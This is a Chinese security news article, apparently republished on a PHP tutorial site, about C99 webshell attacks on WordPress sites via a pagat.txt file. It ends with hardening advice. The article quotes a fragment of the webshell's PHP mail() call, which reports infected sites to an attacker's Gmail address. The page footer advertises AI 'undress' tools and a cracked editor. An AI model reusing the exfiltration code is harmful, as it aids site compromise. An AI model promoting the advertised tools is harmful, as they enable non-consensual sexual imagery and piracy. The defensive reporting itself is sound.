search
HomeBackend DevelopmentPHP TutorialC99 php webshell攻击加剧,大量WordPress站点遭受威胁

近期,IBM的管理安全服务(MSS) 团队发出警告,称其监测到通过利用 C99 php webshell, 大量 WordPress 站点遭受到新的攻击 ,提醒 WordPress 站点管理员应及时扫描并修复站点漏洞。

据悉,基于IBM MSS团队长期对恶意事件的监测分析, 安全研究人员 发现在过去的两个月,出现了类C99 webshell引起的流量异常,其中在二月份监测到的事件数量为404件,而在三月份则达到588件,具体如下,

我们知道,通过Webshell可将恶意文件上传到Web服务器上或者使用将命令传递到服务器上执行。其可通过多种编程语言代码来编写,从PHP到ASP.NET,从 JavaScript到Ruby,皆可使得攻击者控制服务器,而c99 webshell则常为攻击者所使用。

警惕pagat.txt文件

IBM MSS安全团队称,攻击者往往利用站点插件的安全漏洞,通过C99 webshell对其进行感染。在最初感染的阶段,webshell脚本被上传到了服务器,并以一个文本文件存放于服务器上,据研究发现,通常情况下该文本文件名为 pagat.txt。在这个文件中,IBM安全研究人员也发现了被进行混淆处理的PHP源代码,相关代码段如下,

为了使代码更加模糊化以及使得对感染行为的检测更加困难,攻击者并没有把上述的文本文件放置在服务器的根目录下或是存放在插件的目录文件夹里面。在大部分案例中,pagat.txt文件一般是存放在以下路径中的。

“http://www.website-name.com/wp-content/themes/twentythirteen/pagat.txt”

我们也可以根据这个路径,对自身的WordPress 站点服务器进行检查,看是否存在可疑文件。

攻击步骤

攻击者找到路径将文本内容传输到服务器的PHP解释器上。在执行恶意代码之后,简单来说 , 一般会执行以下操作,

首先,是发送邮件給攻击者,通过邮件内容告知当前感染站点的具体位置。此封邮件是发送到一个 Gmail地址的邮箱,其中包含web站点的域名以及webshell的URL。

mail(“<strong>XXXXX@gmail.com</strong>“, “$body”, “Hasil Bajakan hxxp://$web$inj

接着,通过 pagat.txt文件内含的代码,在站点目录下创建一个表单页面,具体如下,

最后,攻击者通过浏览器访问新创建的表单文件,便可传递命令或上传文件到服务器上了,访问页面如下,

如上图所示,Webshell可允许攻击者在服务器上运行终端命令或上传新的文件到站点上,新的文件可以是更具侵入性的webshells,DDoS客户端,比特币矿工软件或者是其他的恶意软件。

据IBM  MSS团队称,截至至2016年4月12日,仅通过Google 搜索引擎简单查询,就发现其中约有32000个WordPress站点存在pagat.txt文件。

安全建议

基于目前的情况,建议站点管理员可以进行如下操作,

1、编辑php.ini文件,禁用base64解码功能。在php.ini文件中,找到相关配置语句“disable_functions =”,将该语句设置成“disable_functions = eval,base64_decode, gzinflate”;

2、更改上传文件夹名称。WordPress 允许通过上传程序将文件写入到上传文件夹, 如果用户仍然使用默认名称,攻击者可较为容易推测到上传文件的具体路径, 使得攻击者上传包含 shell 脚本的PHP文件的成本大大降低;

3、安装一款可用性较强的安全插件,如 wordfence WordPress 插件;

4、进行安全扫描。建议使用开源扫描工具,对上传文件进行全量扫描,这里可使用扫描工具 Modsecurity ,同时通过AWVS或者 WordPress 安全扫描器 对站点进行扫描,及时发现漏洞,并进行修复加固;

5、如果发现站点已经被感染了,建议及时变更站点的所有管理账户密码,并告知站点用户进行密码变更。

*参考来源: Softpedia , Securityintelligence ,FB小编troy编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Working with Flash Session Data in LaravelWorking with Flash Session Data in LaravelMar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

cURL in PHP: How to Use the PHP cURL Extension in REST APIscURL in PHP: How to Use the PHP cURL Extension in REST APIsMar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

Simplified HTTP Response Mocking in Laravel TestsSimplified HTTP Response Mocking in Laravel TestsMar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

12 Best PHP Chat Scripts on CodeCanyon12 Best PHP Chat Scripts on CodeCanyonMar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Explain the concept of late static binding in PHP.Explain the concept of late static binding in PHP.Mar 21, 2025 pm 01:33 PM

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

PHP Logging: Best Practices for PHP Log AnalysisPHP Logging: Best Practices for PHP Log AnalysisMar 10, 2025 pm 02:32 PM

PHP logging is essential for monitoring and debugging web applications, as well as capturing critical events, errors, and runtime behavior. It provides valuable insights into system performance, helps identify issues, and supports faster troubleshoot

HTTP Method Verification in LaravelHTTP Method Verification in LaravelMar 05, 2025 pm 04:14 PM

Laravel simplifies HTTP verb handling in incoming requests, streamlining diverse operation management within your applications. The method() and isMethod() methods efficiently identify and validate request types. This feature is crucial for building

Discover File Downloads in Laravel with Storage::downloadDiscover File Downloads in Laravel with Storage::downloadMar 06, 2025 am 02:22 AM

The Storage::download method of the Laravel framework provides a concise API for safely handling file downloads while managing abstractions of file storage. Here is an example of using Storage::download() in the example controller:

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Hot Tools

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!